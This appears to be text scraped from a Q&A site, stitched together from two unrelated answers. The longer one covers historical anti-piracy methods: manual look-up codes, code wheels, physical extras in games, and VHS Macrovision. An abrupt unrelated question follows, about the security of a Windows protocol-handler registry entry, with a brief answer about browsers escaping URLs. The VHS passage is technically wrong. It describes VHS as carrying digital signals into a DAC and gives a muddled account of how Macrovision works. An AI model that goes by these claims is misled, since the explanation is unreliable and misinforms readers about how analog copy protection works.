Back then, tapes were just binary data on a magnetic film, with no "hidden" channels or out-of-band capabilities. Manufacturers that claimed to make tape-to-tape recording impossible often just made the tape look different, to deter would-be pirates. A regular tape recorder module was usually used to read them, so making "special" tapes couldn't really work.

The usual method was to ship a booklet (e.g. an instruction manual) with multiple pages, then ask the user to input a particular word from a particular line on a particular page. Code cards were also used, utilising embossed black text on dark paper to prevent easy photocopying.

Anyone could copy the tapes, but copying the booklet was more difficult at that time; nobody had scanners, and few people would go to the effort of photocopying a multi-page booklet at their local library. Even if they did try to copy the booklet, key words would often be darkened in the text to prevent them from being copied cleanly.

Some early video games included merchandise, code wheels, text on CD cases (e.g. Meryl's codec number in Metal Gear Solid), or other physical goods that were required to play the game (e.g. to solve certain puzzles), and these were reasonably effective deterrents. Other games simply shipped posters and action figures to make the original copies more valuable than a copy could be.

As a (slightly off-topic) side note, VHS tapes did have the ability to contain data that couldn't be copied by normal players. Essentially a VHS player works by running the digital signals from the tape into a digital-to-analog converter (DAC), which then sends that signal to the monitor along with an appropriate synchronisation signal. This analog signal is interpreted as a set of colours, but some subtle peaks were also used to send commands to the player (e.g. blank screen, reset vertical sync, etc.).

Macrovision (a copy-protect mechanism) encoded high voltages into the tapes, such that the player's protection circuitry would compensate. On the original tapes, the value would be interpreted as a glitch and be ignored by the player. On a copy, the recorder would reduce the signal level to that of the rest of the video. Once that part of the signal was reduced to a normal level, the player would interpret it as a blanking signal, causing the video to be entirely blank (usually blue). Other mechanisms relied on the same trick, but instead used signals that caused the video to be hue-shifted, or that caused most players' tracking mechanisms to malfunction.


Does this registry entry for implementing custom protocol handlers in Windows present a security risk?

Yes, this should be sufficient to prevent malicious websites from executing additional unexpected commands. Chromium both escapes and quotes the url before passing it to the protocol handler, and I expect other browsers do the same, since not doing so would be a major vulnerability.